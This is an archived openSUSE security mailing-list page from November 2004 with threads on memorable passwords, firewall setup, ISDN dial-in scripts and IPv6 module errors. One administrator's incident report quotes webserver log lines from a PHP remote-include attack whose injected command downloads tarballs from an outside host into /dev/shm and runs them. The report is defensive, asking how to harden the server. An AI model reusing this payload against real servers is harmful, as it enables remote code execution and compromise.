November 2004 - openSUSE Security - openSUSE Mailing Lists

RE: [suse-security] need a way to set more secure 8character passwords
by GarUlbricht7＠netscape.net 08 Nov '04

08 Nov '04

<jfweber> wrote on Sat Nov 06 2004 - 03:15:21 CET: > > I seem to recall discussion about a program or paper or something > about nonsense passwords that could be remembered ... > google has let me down today. > I couldn't find the article I'm looking for. > > If anyone remembers reading such a thing please let me know , > send an url if there is one... > Hi, I also recall seeing such an article, and likewise couldn't find it, but while looking for "man pwgen" I did find: http://www.maths.adelaide.edu.au/~cmc/faq/passwords.html Which basically says the same things as Carlos, Stan and Bill have said. HAND, -- __________________________________________________________________ Switch to Netscape Internet Service. As low as $9.95 a month -- Sign up today at http://isp.netscape.com/register Netscape. Just the Net You Need. New! Netscape Toolbar for Internet Explorer Search from anywhere on the Web and block those annoying pop-ups. Download now at http://channels.netscape.com/ns/search/install.jsp

1 0

Security Question from Newbie
by ROB 07 Nov '04

07 Nov '04

how do I secure my Suse 9.1 ? I'm on Suse 9.1 KD3 3.2.1 I am a new to suse 9.1 since yesterday I ran a test on www.grc.com and my test failed So I guess I didn't configure my firewall properly. I'm a home user/personal, standalone pc well 1 of these days it will be connected to my dsl/router , I have my desktop on suse 9.1 celeron 634mhz 256mb . My laptop is amd athlon xp-m 2800+ running xp home sp2 (I'm on right now) since I dont know how to configure the mail on suse anyways. But yes when my router is not connected to my cable modem my test fails, so I want to make my pc secure without the router if possible Thanks

2 1

[suse-security] need a way to set more secure 8character passwords
by Bill.Light＠kp.org 06 Nov '04

06 Nov '04

** "from the bottom of my heart, off the coast of Carolina, after one or two false starts ** Someone, apparently, hacked my email account ...snip... or paper or something about nonsense passwords that could be remembered ...snip... TIA to any and all who attempt to help , I wish you happiness.. and offer extra good karma points to anyone who has an idea. =========================================================== Seems to be I have read an recent (this year) article about that subject. And, if memory serves correctly, it basically said something on the order of NOT using words stuck together with special characters, and obviously not just words (on newer computers, dictionary attacks are too quick for you to react) and just numbers are even quicker to crack. The suggestion was letters (plus other characters) that mean something to you, which are not acronyms, but closer to mnemonics. Example mlg.is!2 could mean something like "my little girl is 2" or Ilc.bSd could mean "I like chocolate. but SHE doesn't" mix numbers, special characters, and don't use words (except for you to remember it). fwiw2u (for what it's worth "2" you) Good Luck

3 2

/dev/shm (in)security / php-based attack
by Olivier Mueller 06 Nov '04

06 Nov '04

Hello, One of the server I'm co-administering just got attacked a few days ago. The cracker managed to start a shell on the server by using one of these php-nuke-like include holes laying in old php scripts. Until now it failed because most of these scripts were working with /tmp, and the /tmp on that server was mounted with noexec+nosuid. But this time /dev/shm was used: is this "new" filesysteme really necessary, and what for? Would you keep it, or rather shut it down completely? At least I'd like to have it also mounted in nosuid/noexec mode... I'll check in the boot scripts how to do that, but in the mean time if you have suggestion, you're welcome :) Webserver logs when the attack occured (the aleks-exploits pages still seems to be active: you can get some interesting files from there, like exploits against linux kernel, irc bots, and other "goodies"): 212.110.91.36 - - [30/Oct/2004:18:03:29 +0200] "GET /guestbook/include/livre_include.php?no_connect=lol& chem_absolu=http://www.aleks-exploits.com/own.txt?&cmd=cd%20/dev/shm; wget%20www.aleks-exploits.com/amech.tgz;tar%20zxvf%20amech.tgz;cd% 20.amech;./sh HTTP/1.1" 200 3189 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 212.110.91.36 - - [30/Oct/2004:18:03:49 +0200] "GET /guestbook/include/livre_include.php?no_connect=lol& chem_absolu=http://www.aleks-exploits.com/own.txt?&cmd=cd%20/dev/shm; wget%20www.aleks-exploits.com/a.tgz;tar%20zxvf%20a.tgz;./a HTTP/1.1" 200 2894 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" Regards, Olivier

2 1

list is down ?
by Philipp Rusch 05 Nov '04

05 Nov '04

or is it a problem at my side ... ? just wondering, I didn't any messages since 28.10.2004 Philipp

1 0

firewall and isdn dialin
by Matthias Gottschlich 02 Nov '04

02 Nov '04

Hi there, i use suse 9.1 on my old laptop to use it as WLAN-Router and isdn dialin server. On the laptop runs a dhpcd and prism-wlan-card is included (through pcmcia). i configured ippp0 as default -route and set dial on demand. My other laptops get their IP-addresses, routers and nameservers from dhpcd-server over wireless lan. I configured a firewall for masquarading (IP-Forward is set), set my internal net to "wlan-....." and the externet network to ippp0. In yast i set "restart firewall" to true in the configuration of my provider. This results in restarting the firewall on every dialin and every shutdown of the isdn-connection. But i get a problem. After shutdown of isdn, the laptops creates a new isdn-connection on demand, but the firewall prevent a connection to the internet and reports "DROP-ILL-TARGET"-Messages. It seems that the IP-adresses of ippp0 had changed an the firewall doesn't know it. I found that the firewall was started in ip-up and ip-down script (ip-down is only a symbolic link to ip-up). I deleted the call to "start_firewall" in the ip-down section. The firewall only restarts on a dialin. Now it works. The firewall doesn't prevent my server to use the new dialin-isdn connection. Is this a error in the scripts? Do i something wrong? best regards Matthias Gottschlich

2 1

SuSEfirewall2 complains on "ip6table_mangle"...
by Peli 02 Nov '04

02 Nov '04

(I sent this already to "suse-linux-e(a)suse.com", but didn't get any answer; I just hope, that here someone can give me advice...) Hi All, I thought, that everything is just OK with my ip6 settings under my SUSE 9.1, but very recently my firewall started to complain concerning "ip6table_mangle": Sep 21 21:47:32 khazad-dum kernel: ip6_tables: (C) 2000-2002 Netfilter core team Sep 21 21:47:32 khazad-dum kernel: ip_tables: (C) 2000-2002 Netfilter core team Sep 21 21:47:32 khazad-dum kernel: ip_conntrack version 2.1 (4091 buckets, 32728 max) - 300 bytes per conntrack Sep 21 21:47:32 khazad-dum kernel: ip6table_filter: Unknown parameter `ip6table_mangle' I did the changes written by SUSE, how to disable ip6 networking, so in etc/modprobe.conf stands now: alias net-pf-10 ipv6 install ipv6 /bin/true Additionally in my /etc/sysconfig/SuSEfirewall2 is: FW_IPv6="drop" FW_IPv6_REJECT_OUTGOING="yes" Could you please suggest me a way how to block ipv6 completely, but avoid the above mentioned error message in the same time?! Do I actually need ip6_tables to be loaded?! (The machine is a stand-alone PC sometimes with eth0 via ip4, and sometimes with ppp0 via single dial-up...) Thanks in advance, Peli

2 5